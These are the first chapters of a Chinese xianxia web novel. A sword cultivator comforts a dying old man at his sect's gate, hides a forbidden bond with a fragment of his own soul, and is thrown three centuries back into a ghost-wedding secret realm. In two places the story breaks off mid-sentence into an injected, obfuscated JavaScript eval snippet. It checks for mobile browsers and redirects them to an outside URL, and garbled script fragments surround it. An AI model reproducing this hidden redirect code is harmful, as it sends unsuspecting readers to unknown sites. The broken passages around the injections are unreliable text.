《仙尊证道失败后》 1. 步天阶 好月当空,灵雾弥漫,一人执剑立于乱雪峰顶。 身后是远山广阔,星云盘旋,天枢守护神兽金鳌龙尾缠星,卧于北斗之上,大有将其他六界踩于爪下之意。 时栎垂眸,淡蓝色瞳孔带着一丝无奈,看向山门前老者。 脏白而蓬乱的头发,灰衣佝偻的背,双腿因为常年累月攀爬石阶而磨损弯曲到极致。 要上玄清山,必须行过天枢九十九阶。 九十九之多,在有天赋的人面前,抬脚一步而已。 九十九之少,在大多数人眼里,却是一阶如攀天,一阶如遁海,阶阶有难,步步要命。 而这个人,在九十八阶待了一辈子。 时栎今日练完剑,听门内弟子讨论,那个人终于要死了。 没人知道他叫什么,也没人知道他什么时候来的,很多弟子还是孩童、三两步爬完石阶时,他就在了。 时栎找到了他,说:“我带你上山。” 彼时他呆立在大而宽阔的石阶一角,浑浊的双眼望着山门,明明只要抬起腿,轻跨那么一下,就能登顶。 可那只瘦骨嶙峋的腿重如千钧,一抬就是一辈子。 他的生命只剩下最后半个时辰了。 意识到身侧有人,他嘴唇微动,嗫嚅道:“我……爬了两百年石阶,很累了……” 时栎说:“我知道。” 两百年前,时栎十四岁,初入玄清门,踩第一阶的脚还没落下就直接到了九十九阶。 身后一青年“嚯”了一声,“牛啊小孩兄,站着别走啊,等我追上你,咱们一起进去。” 他一阶一阶上,爬得稍慢,却也顺。 时栎在山门前等他,然后亲眼看着他停在了九十八阶。 青年笑容凝固在脸上。 时栎等得烦了,皱起眉,“你怎么还不过来?” “别等我了,”青年摆摆手,“你先走你先走,我一会儿跟上。” 时栎先走了。 修炼不分日月,倏忽两百年过去,时栎早忘了他。 今天听人提到,才想起来山外还有这么个人。 星界门派百千,蹊径众多,他偏偏选了最难磨的一条。 大朔末年,天子贪求长生,以人祭天,叛军四起,战乱不休。 冲天血怨中,地狱门开,妖鬼横行。 眼看绵延千年的王朝气运被妖鬼摧残殆尽,帝凰现世,自毁于王城之巅,以翅羽尾火焚世。 众生浴火,灭而后生。 肆虐的妖鬼被烈火净化,化作万缕灵气散落天地间。 从此天地自然遍生灵,人人有机会寻道问长生。 天地初开,至今已有六百年,实力强悍者懂得掌握时机割据地盘,最终以七星分隔出七界,各自发展起新的势力。 而其中,天枢玄清门当称七界之首。 剑道大宗,实力最强,也是歧视最严重的门派。 老者最终同意了跟时栎上山。 那双苍老的手搭上时栎的护腕,银铁带来钻心的凉意,他却握得很紧。 他侧头,眼球微动,贪恋般看着近在咫尺的门派服。 银蓝色窄袖劲装,襟领、袖侧皆有剑纹,玉铁打造的冷银星镖分作两侧肩饰与腰封垂带,镖尖冷锐,泛着冽冽寒光。 他颤抖着抬起手,抚摸过侧肩的星镖垂饰,带起一阵碰撞声响。 时栎身体僵了一下,没躲开。 他却倏地流下两行泪,一把推开时栎,近乎抓狂地搔起自己的头发。 “我……我想了很久,总觉得明年、或者就是明天,我也能穿上这身衣服。” “我想要一把剑,只要师父不嫌弃我年纪大,我什么都愿意练……” “小孩兄,你等等我,我就快上去了……我已经上来了……可是我要死了。” 他把脸深深埋进手掌中,语气带着浓重的懊悔:“我竟然要死了……我这辈子除了爬石阶还干了什么?我可以去山下种树,也可以拜入别的门派,曾经剑庐八派都想要我,我分明可以有更好的选择……可我……我竟然就这么过完了没意义的一生……” 时栎原本静静听着,直到这时,才抬眸看向他,“没意义的一生?” 随即他勾起唇,“也对。多少人有摘星凌云之志,穷其一生登不上这天枢九十九阶,老死在灰尘草芥之下。一生沉寂,没有哪怕一刻耀眼,这样的人生本就没有意义。” 老者呼吸沉重了几分,忽然觉得手腕被攥住,抬眼,对上一双平静的蓝眸。 “但是人活一世,不一定非要过得有意义。只要你每个选择都发自内心,当下是坚定不后悔的,你这一生就算没有白过。追道至死,好过一生将就。” 老者怔怔立着,又垂眼,看向他腰间佩剑,颤巍巍抬起了手。 时栎没动,任他一寸寸抚过剑身,赞叹道:“真是把好剑……你给它起什么名字?” 时栎正要开口,身后忽地传来一声嗤笑,“星界还有人不认识华景?新鲜!我看看谁这么没见识。” 身后有三人并行跃下山门,为首男子行步张扬,带得身上银饰叮当,瞬息便到了近前。 他身后男女各一,一人手执画笔,一人在空中铺展开画卷,照着时栎与老者观剑的场景描摹起来。 老者注意不到其他,专心看剑,眼中已有泪花闪烁。 他想成为剑修,没有剑修不渴望这样一把剑。 时栎余光扫过两个画童,没管他们,只朝老者道:“叫华景,绮丽繁荣,图个好寓意。” 为首男子先是瞅他,看他一个眼神也没分给自己,神色暗了暗。 他瞥向老者手中剑,面有讥讽,“今日濯剑池不见少君,多方打听才知道来了山门,华景都舍得给人摸,想来星天阁那边又少了师兄英姿,迫不及待出门作秀了。” 一旁画童打了个手势,时栎顺势转身,终于舍得赏他一眼。 “作秀也要有人看。孟师弟你整天追在我后面,我洗剑,你跟着洗剑,我来山门,你也来山门,怎么没见画童画过你?” 孟拙被戳中痛处,狠狠瞪了他一眼,过去嘱咐了画童几句,拂袖离开。 时栎带老者到山门一角歇下,抬头看了看天,月光愈盛,幽蓝的星海正逐渐淡去。 老者靠在墙上,缓慢闭上眼睛,“没多久了,银悬期一过,星被收走,我也就跟着走了……真不想死啊。” 时栎问:“你还是后悔?” “是啊,没办法。” 老者笑着摇了摇头,“这世上,有几人能真做到不后悔?我以前怎么就这么傻,干脆一开始就不上玄清山,去加入剑庐八派,虽然造不出跟你一样好的剑,可我能修炼,我的寿数会延长,能做很多事……总好过在这里干坐着等死。” 时栎拍了拍衣服起身,面上没什么情绪,“我安慰过你了,想让你好受些,每个阶段有每个阶段的追求,人本就不该为做过的事后悔。” 他启步欲走,想到什么,又紧了紧手中剑。 “你现在老了,醒悟了,觉得年轻的自己愚蠢,因为你已经经历了自认为失败的一生。” “可如果给你一次重来的机会,让你放弃玄清门,去普通门派当剑修,你余生都会活在新的懊悔中。” “你会想,当时为什么没有再坚持几天,说不定第二天,你就会成为玄清门的剑修。” 天枢九十九阶,一生只能走一次。 要么始终向上攀爬,要么转身永远放弃。 那边画童又打了个手势,时栎走不了,坐了回去,挨着那老者。 “要是连你都觉得这一生没意义,那它就真的没了意义。” “别人可以这么说你,因为他们不懂,可你呢,你不懂自己的心?这两百年你每时每刻都有机会转身下山重新开始,但你一次次选择了继续。” “你根本不是觉得人生没意义,你只是害怕在别人眼里,自己这一生显得毫无意义。” 老者原本闭目静静等死,被他说得双眼睁开,颤抖的手又按上了他的护腕。 “……我都快死了,你何必还耗费心神说这么多?” 时栎仰头靠到墙上,疲劳地闭上眼睛。 “带着悔恨去死,到时候执念消不去,化了鬼,还要我去灭,很累。” 说话间,画童走近,微弯下腰,将画好的像双手捧给时栎。 时栎摆摆手,不看。 他望天,幽蓝的星海已经完全隐去,空中有什么银白的东西正缓慢飘落。 “长老们满意就行。下雪了,你们早点回去。” 画童却不动,把画卷妥善收好,又展开另一张空白画纸。 “还有?” 画童腰更弯了,恭敬道: “请少君移步峰顶,新修缮了大门,缺一张山门全貌的。” 时栎不搭话,显然有些不耐烦了。 画童维持着请他的姿势不动,语气更恭敬,“这也是列位长老的意思,请少君移步峰顶。” 时栎起身,朝老者说:“我有事,稍后过来。” 老者倚坐在墙边,伸出手,接飘落的雪花,“放心吧,我尽量不化鬼,不让你受累。” “这倒是其次。”银袍掠过,时栎人站上了峰顶,声音稳稳传来,“你能正视曾经的选择,不把一切归咎于过去,就算化了鬼,我也亲自送你去轮回。” 星界人沐浴在灵气中长大,就算是不修炼的普通人,活到两三百岁也没问题。 可这些灵气的本源,是当年被帝凰尾焰灼烧殆尽的妖鬼,十分灵气里总蕴着三分鬼气。 倘若人死时爱恨执念太深,便会被鬼气钻了空子。 化出的鬼多半会被修者斩杀,用以积攒功德,提升修为,原本的人也因此失了投胎转世的机会。 假如他不幸化鬼,在害人前,时栎就会送他下去正常轮回。 这是星界亲朋好友间常见的“守尸”方式,没人想看到自己的亲友没有来世。 乱雪峰顶,时栎迎风出剑,余光时刻注意着山门一角。 佝偻的灰色身影立了起来,拖着缓慢的脚步,挪到了山门正中央。 这是他曾经站在九十八阶,向往了一辈子的地方。 却恰巧挡了画童的视线。 画童皱起眉,上前一步要将他驱赶开。 这副画里并不需要他。 “请你让开,影响我们做事了。” 他已经不动了。 那双腿太过弯曲,简直像是跪在了山门前。 风不大,天空有飘洒的雪,纷纷扬扬落到灰旧的衣衫上。 画童只当他不理人,赶又赶不走,面带不耐,换了个位置,扬起头时又带了笑脸。 “少君剑有些偏,离金鳌近些,彰显我门神兽威风,对,先别动……” 半个时辰后,画童向时栎拜别,满意离开。 时栎垂眸,注意着老者头顶那丝缓慢溢出的光亮,荧白皎洁,袅袅消散于风雪中。 他最终没有化鬼。 坚持到现在的人,不管嘴上怎么说,心里很难会真的埋怨曾经做出选择的自己。 风愈狂,乱雪盖住了他。 到了明天,阳光照射到山顶,所有的不甘、懊恼都将随着雪的消融散去。 时栎收剑入鞘,身侧已经多出了一个人。 那人在风雪中静静立着,墨发被风吹拂起,露出与他别无二致的一张脸。 “你说,”时栎轻声开口,垂在身侧的手勾了勾他的小指,“我是不是多管闲事,让他 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与此同时,时栎转身,朝内部一座楼阁遥遥拱手,“师尊。” 一道悠远的女声传来,“因何迟迟未归?” 时栎余光注意着身后幻妖,不动声色回道:“长老吩咐,今夜山门作画,我从濯剑池过来,耽误了些时间。” 那声音顿了顿,似有不满,“你又应了?” “两副画而已,不妨事,我不应,他们还要为难师尊。” “我现在回来。”说话间,他已经跃入山门,朝楼阁处行去,边走边道:“问天岛有几个悟性太差,先拨给清随师叔,为三日后门派招新腾出地方,到时我们多挑几个,换批新血,以后玄清门就改名无情门,骑在贺千秋脖子上练无情剑。” “……无情剑道修心修性,不可偏激,让你招人,是想将剑道发扬光大,不是为了骑在同门脖子上。” “嗯。师尊几夜没合眼了?” “第十夜,明日再歇。” “你昨天也是这么说的。”时栎推门进去,从满屋卷宗残页中找出一道奋笔疾书的身影。 凌殷仍在绘图,听到门开也没抬头,只道:“卷宗在后面,你把那几个悟性差的挑出来我看看。” 时栎过去翻找,“不用看了,奇差。半个月只勉强学会第一式,还时常忘。我让他随心而动,他说,脑子记住了,手跟不上。” “只半月就学会了第一式,很有前途,多练自然就熟了。你把人丢给清随,是送走了一个好苗子。” 时栎不以为然,把翻出的卷宗递给她。 “问天岛全是好苗子,哪个不是莽足劲想留下,他们几个垫底了,有更好的自然要替。我们要的是出剑最快、最强的剑修,没时间替人养孩子。” 凌殷停下绘制剑谱的笔,随意翻了几下,见那几人每日训练任务都达标,甚至因为自己落后,有不少主动加练的,合上卷宗,说:“人交给我。三日后跟你过招,倘若你还觉得不行,再送走。” 时栎挑眉,“行,到时我收着点,不伤了你的好苗子们。” 凌殷淡然一笑,低头继续绘图,“把这儿收拾一下,让人过来吧。” 时栎看向窗外夜色,“现在?” “先收拾。” 时栎认命地捡起散落一地的剑招图纸,分辨哪些是她灵光一现要留下的,哪些没用要丢掉,折腾到后半夜,才去把人叫来。 适逢千秋剑尊出关,又碰上门派招新跟剑缘交流大会,根本歇不下来,他也几日没合眼了。 本来今夜送走那老者后,想跟幻妖在峰顶赏雪,花前月下亲近一番,不想还是回来干活了。 还是让幻妖替他赏雪吧。 有一分神魂在歇,他也算修整过,彻底不用睡了。 那边凌殷对几个弟子问起了话,挨个上手过招,时栎摇摇头,开始整理她新出的一套剑招。 要修无情剑,最先要断的就是情根。 情根不断,道心都凝不出来。 凌殷笔锋规整,剑招凌厉,时栎翻看着,白衣剑修挥剑的身影已经跃然纸上。 师尊这么强,时栎想,要是知道自己一直在骗她,凌霜剑第一个要斩的就是他的脑袋。 他在入门前已经生了情,断不了,只因为顺利凝出了道心,从未招人怀疑。 玄清门上下一万弟子,没人知道,他背着师尊与整个门派,与自己的一丝神魂有着不寻常的亲近。 后来他偶然得到一只幻妖,那丝神魂便附身其上,化了形。 虽然傻傻的,跟不化也没什么两样,但看着那张脸,时栎还是无法压抑内心的涟漪。 他知道自己在做什么。 两百年过去,与那缕神魂情意愈浓,道心却岿然不动,他钻了无情剑道的空子。 - 雪停了,天边泛起白光。 幻妖静立在山门前,阳光照洒到他脸上,一旁老者的身体被时栎拿灵光掩埋,经过一夜消散,已然融于天地间。 时栎很累了,他分出来的这丝神魂现在只想歇息。 天气放晴,远山广阔,时栎喂给他那颗糖蕴了不少灵光,此刻唇齿间甜意未消,他还能自由活动很久。 正想着,空中忽有一道惊雷炸响,远方某处,金色闪电将天空劈出一道裂隙,散落下无数金光。 幻妖目光微动,身体已经先一步做出反应,向远方掠身而去。 平地生雷,必有秘境。 平日秘境雷光都是紫色,星界建立这么多年,还是首现金雷,里面的秘宝想都不用想,价值不可估量。 他就是累死,也得爬过去把东西拿到手。 这是时栎每一丝神魂都有的觉悟。 2. 撞良宵(一) 灯笼埋在地里露出头,寂静幽深的洞穴里渐次亮起血色的光。 大红喜烛熔嵌在四周石壁上,跃动的火苗无风自动,忽明忽暗,照着脚下狭窄的路。 金雷环绕在洞口,最先忍着雷击钻进来的是一个傀冥宗小修。 他头戴金冠,身穿绛紫衣袍,衣上金线绣出的骷髅头栩栩如生,而他身旁,实打实地跟着一个骷髅架子。 这是每个傀冥宗弟子入门就有的伴身骨傀,它眼神空洞,骨架惨白,在烛火的映照下透出一股阴森可怖之气。 饶是自己的配置已经足够吓人,这小修还是被洞穴的冷气和周围的装饰吓得双腿发颤。 他才十七岁,这是他第一次进秘境。 要不是这道雷就劈在自家门口,他也不会因为近水楼台脑子一热就进来。 曾经读过恐怖话本里的妖鬼齐齐涌上他的脑子。 房中惨死的新娘……大堂流干血的新郎……宴会上被分食的宾客…… 这种级别的秘境,他肯定抢不过别人,他就是想来见识见识,现在看来还是草率了。 腿抖得根本动不了。 他没顺着灯笼的指引往里走,而是带着自己的骨傀,窝进拐角的一个暗洞,看着后来赶到的人一个个走过去,直到秘境满员,他才从洞里钻出来,跟上最后一个人。 他跟着前面人七拐八拐,又不敢离得太近,没想到灯笼光越往前越暗,一个不注意就到了岔路口。 跟丢了,完全看不清那人拐向了哪里。 他伸着脖子,朝两个拐角瞅了好几眼,都是漆黑一片,看不出分别。 他没经验,修为又低,甚至不懂怎么在秘境里分辨岔路。 正当他决定瞎闯一个的时候,忽听左边岔路里传来动静,不由精神一振,拽起骨傀就拐了进去。 灯笼的光已经完全消散了,他抓着骨傀,摸黑向前,越往前走动静越大,甚至闻到了一股浓郁的血腥气。 他皱了下眉,总不能这么野蛮,上来就开打吧? 忽然,前方露出一点亮光,他咽咽口水,悄无声息地走近,趴在拐角处,探出了半个头。 洞穴深处有两道缠打的身影。 其中一人重重摔到石台上,下个瞬间,另一人倾身覆上,高扬起匕首,狠狠扎进了他的胸腔。 一时血花迸溅,四周石壁都染了血,那人却还不停歇,手肘翻转,握着匕首重重一剜,生生从他胸口挖了什么东西出来。 石台上的人没了声息,那人直起身,一手垂落抓着匕首,一手将挖出的东西托起至眼前。 小修瞪大了眼。 顶上被金雷劈出了几块裂口,天光照洒进来,恰好照到那人头顶和半张染血的脸。 猩红的血液顺墨发淌下,他低垂着头,眉目隐在暗处,似乎在观察手上的东西。 那东西在有规律地鼓动着,浓郁的血气中,小修咽了咽口水。 是颗心。 他放缓了呼吸,悄无声息地转身,想尽快离开,却脚下不稳,一屁股坐到了地上。 几乎霎时,他脖颈一凉,有东西抵上了他的咽喉。 刃尖冷沉,带着未散的杀意,小修颤巍巍垂眼,这才看清,那不是匕首,而是把血淋淋的断剑。 “仙、仙友……”他咬咬牙,呼出一口气,硬逼着自己开口。 “我不是故意偷看你的,我就是路过,不跟你抢宝贝……别拿你刚杀了人的凶器对着我行不行?” 他吓得说话都颤,他的伴身骨傀也好不到哪去,高大的骨架把自己团成了一个球,窝在地上不敢动弹。 时栎垂眼,视线扫过地上骨傀,又落到这小修绛紫的衣袍上,向他确认,“傀冥宗?” “没错,”小修呼出一口气,真诚道,“这个秘境离我家太近了,我就是来见识见识,绝对不跟你抢,你……” “现在什么年月?” “什么?”他突然发问,小修一愣,马上回答,“星……星纪六年,三月……好像是十八,也可能是十九,这我真记不清了,要不你放开我,我现在给你查查?” 时栎却已经陷入沉思。 星纪九年,傀冥宗灭。 他所在的年月,断然不会出现傀冥宗的人。 星界百年为一纪,一个时辰前,他分明还在星纪九年,一场雷劫,竟然带他前溯了整整三百年。 小修见他没动静了,斜着眼悄悄瞅他,却只看到张染血的侧脸。 小修不动声色,藏在袖袍下的左手成诀,几乎是瞬间,一旁抱膝而坐的骨傀暴起,直朝他们的方向袭来。 时栎下意识出剑去挡,小修得了机会挣脱束缚,脚底抹油似的溜回岔路,头也不回拐进了右边。 时栎三两下拆了暴躁又弱鸡的骨傀,没再管它。 散落一地的骨关节们蹦跳着跑远,边跑边拼接,跟着主人拐进了右边。 时栎刚要回身,忽觉面上一痒,眼前似被蒙上一层纱,看什么都是朦胧的暗红。 ——刚才那个小修进了正确的岔路,全员到位,秘境开了。 时栎心觉可笑,他证道的雷劫,竟然能在三百年前劈出个秘境来。 也有一种可能,他正是因为如今身处秘境,才会来到三百年前。 待秘境破了,自然就能回到原本的时间。 正想着,有什么东西搭上了他的左手腕,冰凉黏腻,引着他向前走。 耳边传来凄婉的哭声。 “我不想嫁……他是个好色胚,花柳鬼!一身的脏病,玩死过不知多少人,如今连男人都不放过!” 嗓音尖利,伴着阵阵哀婉抽泣,不属于活人的阴冷气息逐渐缠绕上全身,时栎微皱起眉,反手握住了他。 男子见有人安慰,情绪更上头,猛地转身扑进他怀里。 “他是我们镇上出了名的大变态,见我貌美,强抢了来,我虽不是什么猛男,却也行得笔直阳刚,如何能忍受那般践踏?只怪我实在好看,镇上不少人对我虎视眈眈,你知道吗?今天足足有五个新郎!” 时栎从他一连串的话里听出来,现在进洞夺宝的,一共五人。 既是秘境,必有秘宝。 秘境级别越高,秘宝越珍贵,对应的,守宝的妖鬼越强大。 那五人要跟这位哀怨的男新娘纠缠,满足他的某些条件,才能得到秘宝。 而在这位男新娘眼里,这五人都是绝顶的大变态,强抢了他,正狞笑着,准备肆意凌辱他。 他还在哭诉,时栎轻轻拍着他的背,问:“那你现在准备怎么做?” “我……” 男子的身躯有些颤抖,时栎感觉有什么冰凉的尖端抵上了自己脖子,沿血管轻划着,耳边的声音带上了一丝阴冷。 “我宁愿死,也不愿意受那种侮辱,我要剪破自己的喉咙,划烂自己的脸,开膛破肚扯出自己的肠子,一根根绕到身上。他们不是想要我吗?我就是要看看,我变成那种样子,他们还下不下得去手!” 时栎没有在意已经划到自己胸口的剪刀,接着问:“如果下得去手呢?” 男子一顿,剪刀划动的幅度变得娇羞起来。 “那……那就证明有人是真心爱慕我,早就听闻这几人里有位风度不凡的少侠,若是和他,我也不是不能接受……” 剪刀在胸口娇羞地乱划,时栎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664645|172939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面色微沉。 金雷是他渡劫用的,本就不是寻常秘境所用的紫雷,如今突兀地劈下来,天地法则不知该怎么办,只能随机分配一个秘境来顶。 既不能跟别的紫雷秘境重复,又不能让此间众生觉察出端倪,便只能分配一个曾经造出来,又被废除的秘境。 能被废除,要么极难,没人过得去,要么极其离谱,只有少数人愿意尝试。 比如现在这个,想破局夺宝只有一个办法,和这只即将断喉扯肠子的男鬼春宵一度。 说难不难,但能面不改色出手的,还真没几个。 通常这种秘境给的宝贝都十分鸡肋,好像有用,又好像没什么用。 星界每隔一段时间就会曝出一些离谱秘境跟它们送的无用宝物,总有倒霉修者哭诉,不该一时冲动,以为能赌到什么珍宝,就这么葬送了自己坦荡清白的一生。 时栎又问:“你与那位少侠终成眷属后呢?有没有什么定情信物要赠予他?” “自然有。”时栎眼前一片朦胧,什么也看不清,男子引他摸到自己脸上,他的上半张脸,是一副冰凉的假面。 男子苦恼的声音响起,“前面跟你说过,我实在太美,每日走在街上都是困扰,生怕谁多看我几眼就惦记上了,就只能日日遮着脸上街。” “可我又不愿意浪费自己这副好皮相,生得美又不是我的错,哪有藏起来的道理?” “所以我重金请人打造了这副银面,戴上后大家只会模糊地感觉我是好看的,却又看不清我的相貌,岂不美哉?” 时栎暗自叹息。 果然鸡肋。 这种条件,大概率没人愿意动,便只能拖到这个秘境自动结束。 “倘若遇不见那位真心爱慕你的少侠呢?”他又问。 “不可能!”男子音量猛然拔高,又缓缓低沉下来,“要真是那样,我就一夜一夜试,那些变态死不足惜,我会一点点折磨他们,直到他们变得和我一样!” 能进秘境,通常都是有自保能力的,抵御一夜鬼怪不在话下。 撑死了说,不幸进来个废物,嘴甜一点,随便傍个大哥大姐,也能安然度过一晚。 照这只男鬼一人一晚上的速度,自动结束,最快也要五天,时栎可等不及。 “你有没有想过,”时栎突然夺下他的剪刀,丢到一边,“不伤害自己,而是直接让那些变态付出代价?” 男子犹豫,“可如果不这样做,我根本毫无反抗之力,如何让他们付出代价?” “我帮你啊,”时栎抬手,抚上他的假面,双目逐渐浮起一丝笑意。 “你常年戴面具,他们又不认识你,你把面具给我,我替你把他们全杀了,割断他们的喉咙,划烂他们的脸,再将他们开膛破肚拉出肠子来绕到身上,倘若真有爱慕你的少侠,我便将他绑了送到你房里,你从头到尾只管坐着等我的好消息,如何?” 男子似乎有些心动,却还在犹豫,四周陷入了一片死寂。 时栎静静等着,周身阴冷的气息让他知道,这只鬼还在。 忽然,他视线一亮,最先映入眼帘的是大红的喜帐,床上却不见新娘身影,只静静放着一身喜服,上面是一张银质的假面,其上鬼纹遍布,妖气横生。 成了。 刚才一番话,已经让男鬼把秘宝的所有权让渡给了他。 他不是通过正规渠道进来的,默认不参与秘境夺宝,否则他也没机会以相同的立场来跟这只鬼交流。 他现在只需要作为新娘出门,随便选个顺眼的带进来,再把秘宝——这只没用的面具交给那个人。 有人得了宝,秘境不攻自破。 3. 撞良宵(二) 阴森暗红的喜堂内,五人分席而坐。 他们已经被套上喜服,每人身旁安置了两个面色惨白、双颊点红的侍童。 除了傀冥宗那个小修,其余四人皆在洞外经历了一番争斗才进来。 幻妖气定神闲,环视过周遭摆设后就收回视线,静静盯着面前茶盏。 他身旁,一个壮汉边叹气边嘀咕,“怎么又碰上他,这个月第五回了,还让不让人活了……” 旁边一俊俏修者探头过来,碰碰他的胳膊,“诶,大哥。” “干嘛?”壮汉心情不佳,头都不扭。 “这屋里黑,我看不清,你离得近,看看旁边那个,是不是玄清门那位?” 壮汉冷哼一声,“这还用看?这屋里这么黑,他桌上那把剑都快把老子眼闪瞎了。” 那修者显然兴奋了,“那咱俩换换?我这儿闪不着。” 壮汉嗤笑,不咸不淡瞥过去一眼,“怎么,想结交他?老弟哪门哪派师承何人?我先给你把把关,名声不显人家可不理人。” 那修者嘿嘿一笑,越过旁边鬼侍童,露出脸来,“无门无派,也无师。” 壮汉笑了,“那你说个屁……等会儿。” 他眯眼,也越过自己身边的鬼侍童,凑近看那修者的脸。 他们来扮新郎,无论男女都是一身男装,他刚才听声只觉清亮,应当年纪不大,再仔细看这修者的脸,不由斟酌着开口。 “你……不是老弟吧?” 那修者大骇,“当然不是!你叫我老弟是真把我当男的了?我很像男的吗?” “不是,妹儿,”壮汉有点尴尬,跟她解释,“这不是屋里黑吗。” “没事儿,哥,”修者又朝他一笑,拿起桌上的剑给他看,“那咱俩换换?我也学剑的,久仰少君跟华景剑的大名,有幸碰上,不离近点总觉得亏了。” 壮汉瞥了眼她那把平平无奇的剑,心里已经把她看低,这年头,路边随便拾把破剑都自称剑修。 那位估计连个眼神都不会分过来。 两人刚换座,女修便主动出击,先是瞅了幻妖两眼,试探着叫他,“少君?” 幻妖听到了,但是神魂正在放松中,不想理她。 他不应,女修也不尴尬,仗着坐得近,眯起眼,堂而皇之地观察桌上那柄剑,不时啧啧赞叹两声。 他们这一列,幻妖、女修、壮汉并坐,对面是傀冥宗小修与另一个青年男修。 对面青年刚一见到小修身旁的骨傀,就眼珠子一转,无比热情地凑近搭话,拍拍胸脯说要保护他。 那壮汉见到骨傀,也有结交傀冥宗之意,三言两语地插着青年的话,屋里一时只剩他们三人的讲话声。 倏地,房门大开,一阵幽冷的风席卷进来,身侧所有鬼侍童都扯开嗓子发出尖利的大叫。 那声音似笑似哭,迎接着一身血色的新娘。 所有人都警惕起来,握紧武器盯着门口,只见漆黑夜色中,一道暗红的身影正走近。 他着喜服,戴盖头,身形高挑,行步稳健,看这新娘姿态,壮汉迟疑,提高音量盖过鬼侍童的尖叫,朝屋里众人道:“我咋眼花了,那不是个男的吗?” 时栎在屋外站着没动,身形隐在暗处,撩起盖头,视线扫过房内。 忽然一顿,目光停在了某处。 喜堂内部很暗,他看不清这几人的脸,却一眼就看到最角落的桌前,那把闪着银光的剑。 全身的血液瞬间一同躁动起来,他能感觉到宽大的喜袍下,自己那把断剑正紧贴着他的腰腹,发出难耐的嗡鸣。 时栎压下腰间躁动的武器,眼底不禁浮上一丝兴奋。 他有多久没见到华景了? 剑在,意味着剑主也在。 无人探寻过的金雷秘境,死个剑主,丢把剑,再正常不过了。 他马上就会重新拥有华景。 新娘不进屋,鬼侍童的尖叫就不会停止,随着时栎踏入房门,堂屋寂静的瞬间,所有人都听到,从鬼新娘盖头底下发出的,一声低沉的笑。 壮汉嘀咕:“还真是个男的,这唯一的妹儿算是来对了,男鬼肯定先选她,也行……这回总不能又让那位把东西拿走了。” 接着,他眼睁睁看着新娘抬起手臂,苍白修长的指节指向了喜堂一角。 “……操!” 壮汉瞪大眼,猛拍桌子,“凭什么!我们这么大一个妹儿在这……难道你他爹还是个断袖鬼?!” - 从新娘进屋起,幻妖就感应到什么,抬眼看了过去,淡蓝瞳孔里涌上一丝茫然。 时栎怎么也跟来了。 当这么多人的面,抱,还是不抱? 最终他决定先不抱,他是正经神魂,并没有在人前亲密的爱好。 时栎既然亲自来,证明已经拿到了宝,本就疲劳的神魂彻底放松了下来。 幻妖面色如常,在众目睽睽之下拿起剑走近新娘,握上了朝他伸来的指尖。 手指被包裹进温热的掌心,时栎顿了顿。 他垂眸看盖头底下对方的喜靴,一丝不爽涌上心头。 跟着走就是,对一只鬼牵什么手? 还真把自己当新郎了。 _ 新房内,喜烛幽幽燃着光。 鬼侍童尖声道贺完毕,血红的舌头舔舔唇,朝着房内两道身影诡异一笑,退了出去。 房里归于沉寂,时栎悄无声息握上了腰间佩剑。 他还没摘盖头,周身却已经溢出杀意。 命运有时候就是这么巧妙,他失了剑,秘境立马给他送来一把,来自三百年前的,纯粹的、干净的本命剑。 他要杀掉剑主,把它据为己有。 在那之前……时栎动了动被抓住的手,开口,“你还要握多久?” 现在是星纪六年,在他面前的应该是三百年前的时栎。 时栎怎么也想不通,三百年前的自己在什么心理下,会牵着秘境妖鬼的手走一路。 对方没出声,喜靴动,朝他更近了一步。 时栎握住腰间剑柄,手臂绷紧,断剑出鞘的一刹那,他被抓着手一拽,向前落进了一个温暖的怀抱。 “……?” 屋外寒,幻妖刚进来就聚起灵光,把自己弄得暖烘烘的,又看四下无人,终于该抱一下。 这一下直接抱懵了时栎,他的手就搭在对方腰间,落在微凉的剑柄上。 他不加思索,一手出掌拍向对方胸口,一手迅速将剑抽出。 忽而手上一轻,原本颇有分量的长剑化作缕缕灵光,又融回了对方鞘中。 时栎一愣,猛地扯下盖头看向前方。 直对上一双毫无波澜的眼。 竟然是幻妖和他凝出的假华景。 时栎脸沉下来,他可不记得,自己当年有放幻妖进过秘境。 他把盖头丢到地上,踱步过去,视线在幻妖脸上停了片刻,问:“自己来的?” 幻妖轻点了一下头,又抬手,摸了摸自己刚被拍掌的地方。 放在以往,时栎早该心疼地来看他有没有伤,少君刚得了能化形的幻妖,正是宝贝的时候。 幻妖静静等着,却只等来一声低嗤。 时栎坐到桌前,敲敲桌面,示意他过来,“倒酒。” 幻妖走近了,却对他这个指令感到疑惑,在幻妖的认知里,应该是时栎倒酒,喂给他喝。 他如果不喝,时栎还要哄他。 时栎见他不动,耐着性子又说了一遍,“倒酒。” 幻妖看看酒樽,又看看他,在时栎终于不耐烦的时候,摇了摇头。 然后学着时栎的样子,在另一边椅子上坐下,手指敲了敲桌面。 时栎一愣,问:“我给你倒?” 幻妖点点头。 “这时候就开始不听话了?”他疑惑,自语似的起身,站到幻妖面前,俯身捏起他一边脸,“你自己进秘境,他知道吗?” 四目相对,幻妖也伸手捏起他一边脸,还往外拽了拽。 “……” 时栎手松开,拍了拍他脸说:“傻子。” 幻妖皱起眉,手探到时栎腰间,隔着喜服抓住了藏在底下的剑。 时栎不动,垂眸看他的手,“有兴趣?拿下来看看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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秘境里都是丑陋凶恶的妖鬼,像过去无数次一样,他害怕了。 于是错乱的神魂平静了下来,也像过去无数次一样,轻轻拥住了他。 掐他脖颈的手倏然松了。 时栎脸埋在他胸口,没动,只有颤抖的呼吸声不断传出来。 被抱得太紧,好像所有情绪都寄托在了他这一丝小神魂上,幻妖知道自己几斤几两,不由一阵手忙脚乱。 他没办法像时栎一样变出一颗糖,却还想把他哄好,这真是天大的困难。 